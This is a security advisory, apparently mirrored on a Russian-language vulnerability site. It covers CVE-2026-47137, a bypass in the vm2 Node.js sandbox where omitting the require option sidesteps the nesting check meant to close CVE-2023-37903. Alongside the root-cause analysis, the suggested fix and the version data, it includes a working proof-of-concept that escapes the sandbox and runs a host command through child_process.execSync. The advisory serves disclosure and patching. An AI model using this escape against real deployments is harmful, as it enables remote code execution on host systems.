GHSA-m4wx-m65x-ghrr

Опубликовано: 29 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 10

Описание

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

require('vm2') to get the vm2 library
Construct an inner NodeVM with require: { builtin: ['child_process'] }
Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE

Suggested Fix

// Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); }

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); }

Ссылки

Пакеты

Наименование

vm2

npm

Затронутые версииВерсия исправления

<= 3.11.3

3.11.4

EPSS

Процентиль: 30%

0.00382

Низкий

10 Critical

CVSS3

CVE ID

CVE-2026-47137

Дефекты

CWE-913

Связанные уязвимости

CVE-2026-47137

CVSS3: 4.1

redhat

около 2 месяцев назад

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.

CVE-2026-47137

CVSS3: 10

nvd

около 2 месяцев назад

EPSS

Процентиль: 30%

0.00382

Низкий

10 Critical

CVSS3

CVE ID

CVE-2026-47137

Дефекты

CWE-913